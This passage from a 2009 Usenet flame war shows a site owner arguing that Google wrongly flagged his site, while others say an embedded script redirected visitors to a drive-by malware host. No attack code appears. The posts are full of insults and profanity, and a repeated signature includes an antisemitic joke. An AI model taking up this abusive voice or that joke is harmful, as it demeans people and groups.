> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
> Hatter_X-Face_2.png
>
> To each his own I guess.
I tried to view those images but got a "Reported Attack Site!" warning
message in Firefox. Prudently, I declined to ignore it because I was
ascared.
--
Neredbojias
Driving can be tiring : Especially after supper
So ere you take an evening trip : You ought to pop an upper.
Burma Shave
http://www.neredbojias.org/
== 17 of 25 ==
Date: Thurs, Feb 5 2009 6:28 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 02:26:20 -0800 (PST), Travis Newbury
<travisnewbury@gmail.com> wrote:
>On Feb 5, 5:09 am, tars.tarkas...@gmail.com wrote:
>> The apple-offer.net site is shown to be malicious on a google search,
>> but it was embedded on your page, so it ran its own code, which sends
>> people to an IP address which is in Russia. That site installs
>> malicious code via a drive-by. So, anyone who visited your site while
>> that code was installed could have been infected
>A smart person would look through the code he is stealing from other
>sites, and claiming as his own, before using it and infecting the
>millions of visitors to his sites... (snicker snicker...)
A smart person would know that no one holds any copyright over the
basic form structure of the embed tag and therefore it can't be
"stolen" from anyone, despite your inane, wanton delusions. And the
likely reason I missed it was, simply put, because I had word wrapping
turned off and didn't scroll over far enough to see the extraneous
code.
And again, if anyone got infected it's actually entirely the fault of
Google for not properly listing and identifying the cause, instead
claiming that the site was simply "suspicious" without any real
meaningful further elaboration.
And once again, the likelihood of anyone even being capable of getting
infected from that site would be essentially nil and anyone who could
be capable of it would no doubt wind up with more than a half dozen
different malware infections from legitimate sites all over the grid
in no time flat. Basically, if you're running a web browser without
some kind of "NoScript" style plug-in...you are going to get infected
with massive amounts of malware. It's not a question of if, it's a
question of how many hours it'll take to happen.
>So I guess I will be starting a class action suit against hatter and
>bedwetter productions for trying to infect us.
Good luck with that, Hatter Addict. Be sure and let us all know how
it turns out.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 18 of 25 ==
Date: Thurs, Feb 5 2009 6:30 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 02:19:58 -0800 (PST), Travis Newbury
<travisnewbury@gmail.com> wrote:
>On Feb 5, 2:46 am, Onideus Mad Hatter <use...@backwater-
>productions.net> wrote:
>
>> >I did a wget onwww.backwater-productions.net. I saw mostly
>> >straightforward code, but at the end there was this odd code block:
>> I removed it, I believe that got thrown in there because I looked up
>> the embed tag for flash...
>So there WAS suspicious code.
Too bad Google never said that, huh? If they had I would have been
able to remove it right away. Instead they simply listed the site as
"suspicious" giving *NO* reference at all to *ANY* code or even any
specific site for that matter. I guess the guys they got working at
Google are as stupid as you are, huh?
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 19 of 25 ==
Date: Thurs, Feb 5 2009 6:32 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 04:42:38 -0800 (PST),
whoisthatmaskedman@hotmail.com wrote:
>On Feb 4, 4:17 pm, Onideus Mad Hatter <use...@backwater-
>productions.net> wrote:
>> On Wed, 4 Feb 2009 12:30:41 -0800 (PST),
>>
>> whoisthatmasked...@hotmail.com wrote:
>> >On Feb 4, 8:56 am, Onideus Mad Hatter <use...@backwater-
>> >productions.net> wrote:
>> >> For falsely listing my site as being infected with malware? I've
>> >> already requested like TWO reviews and they *STILL* can't tell me what
>> >> part of the code is ~supposedly~ malware and since those two reviews
>> >> they've gone even further to have the site listed as "bad" under
>> >> several other malware tracking groups (whom I'm also thinking about
>> >> suing). So the question is...what do you think would be a reasonable
>> >> amount of money to sue them for, given that they're so blatantly
>> >> slandering my business?
>>
>> >Sounds like a karma issue, Sophomore.
>>
>> Is karma how you explain the fact that you're such an incredible
>> failure in life? Maybe you should stop blaming your failures on karma
>> and strive to improve yourself, Fuckwit.
>>
>> And given all the wondrous, charitable, nice, loving and open minded
>> efforts and projects I've put forth for others (often complete
>> strangers), yeah, I'm sure my karma is quite well into the positive
>> end of things, especially given all the hateful, nasty, invective,
>> slanderous, bile that Hatter Addicts liak yourself constantly spew
>> forth about me.
>
>Matthew Moulton playing the victim card.
>
>Too funny.
Oh I can't be a victim, unfortunately for your incredible wanton
desires, but that certainly is not ever going to stop you from putting
every last ounce of possible effort into trying, you creepy fucking
Internet stalker.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 20 of 25 ==
Date: Thurs, Feb 5 2009 6:43 am
From: Neredbojias
On 05 Feb 2009, Hans van Eynsbergen <strangeways@FSCKSPAMplanet.nl>
wrote:
>> "Site is listed as suspicious - visiting this web site may harm your
>> computer."
>>
>> Apparently Google only needs unfounded suspicion to completely ruin
>> your business.
>>
>> --
>
> http://www.minnickhayner.com/
Are these the guys that were sued for adopting a logo unacceptably
similar to that of "Minneapolis Honeywell"?
--
Neredbojias
Driving can be tiring : Especially after supper
So ere you take an evening trip : You ought to pop an upper.
Burma Shave
http://www.neredbojias.org/
== 21 of 25 ==
Date: Thurs, Feb 5 2009 6:50 am
From: Fred Doyle
Onideus Mad Hatter wrote:
>
> And again, as Google wasn't forth coming about what was actually wrong
> with the code, instead simply listing the reason as "suspicious", they
> are the ones responsible for anyone getting infected through my site.
> Had they accurately and precisely listed the specific site and the
> specific code that was running the redirect, I would have been able to
> remove it within minutes of their first tracking it. Instead their
> gross ambiguity and vague obscurity of a reason for the site being
> blacklisted effectively prevented me from even knowing that there was
> anything even wrong with the site. In fact, most people, myself
> included, when first reading their inane shit smear of an explanation
> believed that the problem was resulting from some other site on my
> shared hosting account and that because of that my sites were somehow
> being falsely blacklisted.
>
> --
That's just too funny for words.
Not that your site really DID have a problem.
Not that you thumped your chest about suing them.
Not that you couldn't find the problem on your own despite all your
proclamations about your coding ability.
That you would even think up that kind of explanation of why its
Google's fault that people got infected from your site and can't see
what's wrong with that.
That's too funny for words.
Fred Doyle
== 22 of 25 ==
Date: Thurs, Feb 5 2009 7:24 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 06:10:10 -0800 (PST),
whoisthatmaskedman@hotmail.com wrote:
>On Feb 5, 8:55 am, Onideus Mad Hatter <use...@backwater-
>productions.net> wrote:
>> On Thu, 5 Feb 2009 04:45:43 -0800 (PST),
>>
>> whoisthatmasked...@hotmail.com wrote:
>> >On Feb 5, 12:26 am, Onideus Mad Hatter <use...@backwater-
>> >productions.net> wrote:
>>
>> >> Hear that everybody? If you work at Wal*Mart that means you
>> >> automatically don't know ~anything~ about computers, or coding, (or
>> >> graphic design if you ask that retard Drew).
>>
>> >I never said that working at WalMart means you know nothing about
>> >graphic design. The fact that you know nothing about graphic design is
>> >the determining factor.
>>
>> No you specifically made the claim that anyone working at Wal*Mart
>> doesn't know anything at all about graphic design, Drew. You
>> frequently and repeatedly used that claim as a means of trying to
>> attack me and my work. It's cute to see you trying to backpedal your
>> way out of it now though. For reference, when Drew was challenged to
>> a graphic design square off, in which we both had to make an image on
>> the theme of "word art", this was all the better Drew was able to come
>> up with:http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
>>
>> And this was mine:http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
>>
>> ...and Drew believes he has a "professional" level of graphic design
>> ability and that I ~nothing~ at all. *snicker*
>
>Sorry, this is all I can see: http://pattersondesign.com/misc/blackwater.html
>
>Nice design, though.
Reading sure is hard for you, huh Drew? Don't worry, no one else
reading these posts is as stupid as you are and they can see the
images just fine. ^__^
Figures that such blatant retardation would be your recourse, you
really do realize just how out classed you are.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 23 of 25 ==
Date: Thurs, Feb 5 2009 7:27 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 14:23:42 +0000 (UTC), Neredbojias
<neredbojias@gmail.com> wrote:
>On 04 Feb 2009, Onideus Mad Hatter <usenet@backwater-productions.net>
>wrote:
>
>> On Thu, 5 Feb 2009 05:37:35 +0000 (UTC), Neredbojias
>> <neredbojias@gmail.com> wrote:
>>
>>>On 04 Feb 2009, Onideus Mad Hatter <usenet@backwater-productions.net>
>>>wrote:
>>>
>>>> Oh really?
>>>
>>>Just a side-note here. Your x-face sucks. You should have something
>>>like a head outline with a little hat on it, not a childish
>>>scratching that appears to be an off-centered ghost at best.
>>
>> Most people actually liak the Hatter smiley: `, )
>>
>> The general consensus at the time was that it was better than nyah:
>> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
>> Hatter_X-Face_1.png
>> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
>> Hatter_X-Face_2.png
>>
>> To each his own I guess.
>
>I tried to view those images but got a "Reported Attack Site!" warning
>message in Firefox. Prudently, I declined to ignore it because I was
>ascared.
So you believe that images can somehow ~magically~ infect your
computer with malware? Wow...are you really that stupid? (completely
ignoring of course all the threads pertaining to Google's idiocy, this
one included) Reading is teh HARD for you, innt?
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 24 of 25 ==
Date: Thurs, Feb 5 2009 7:32 am
From: Travis Newbury
On Feb 5, 8:55 am, Onideus Mad Hatter <use...@backwater-
productions.net> wrote:
> up with:http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
> And this was mine:http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
I showed these both to 15 different people. 11 of them thought your
was dull, boring, and just bla. Drew's was colorful and sowed
excitement and fun.
== 25 of 25 ==
Date: Thurs, Feb 5 2009 7:39 am
From: Onideus Mad Hatter
On Thu, 05 Feb 2009 09:50:47 -0500, Fred Doyle <fdoyle1@nycap.rr.com>
wrote:
>> And again, as Google wasn't forth coming about what was actually wrong
>> with the code, instead simply listing the reason as "suspicious", they
>> are the ones responsible for anyone getting infected through my site.
>> Had they accurately and precisely listed the specific site and the
>> specific code that was running the redirect, I would have been able to
>> remove it within minutes of their first tracking it. Instead their
>> gross ambiguity and vague obscurity of a reason for the site being
>> blacklisted effectively prevented me from even knowing that there was
>> anything even wrong with the site. In fact, most people, myself
>> included, when first reading their inane shit smear of an explanation
>> believed that the problem was resulting from some other site on my
>> shared hosting account and that because of that my sites were somehow
>> being falsely blacklisted.
>That's just too funny for words.
And here we have Fred...reaching. This should be entertaining.
Remember, these Hatter Addicts are absolutely *DESPERATE* for anything
they can latch on to and slurp over if they think they can use it to
"get back" at me in some way.
>Not that your site really DID have a problem.
And which site would that have been, Dumbass? Google was claiming
that EVERY SITE, EVERY PICTURE, EVERY VIDEO, EVERY SONG, EVERY bit of
content that was on my site was "suspicious" with no further
elaboration. As it turns out there was only *ONE* fuckin page out of
well over THREE HUNDRED HTML pages that actually had something wrong
with it...and said something was effectively completely benign anyway.
>Not that you thumped your chest about suing them.
Oh I'm still suing them, Cuppycake.
>Not that you couldn't find the problem on your own despite all your
>proclamations about your coding ability.
What does my coding ability have to do with Google's obscure
retardation of a reason for blacklisting the site? The way they
worded it, most people, myself included, didn't even think they were
talking about any of my sites specifically, but rather about some
other site that was hosted on the same shared server. You're a
complete fucking retard though, Fred, so I can see as how all this
just flew on over yer pointed little head.
>That you would even think up that kind of explanation of why its
>Google's fault that people got infected from your site and can't see
>what's wrong with that.
>
>That's too funny for words.
This is you...without an actual counter argument nor any evidence to
the contrary. This is you...being a FAILURE. ^__^ I guess yer sorta
used to it though, huh?
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
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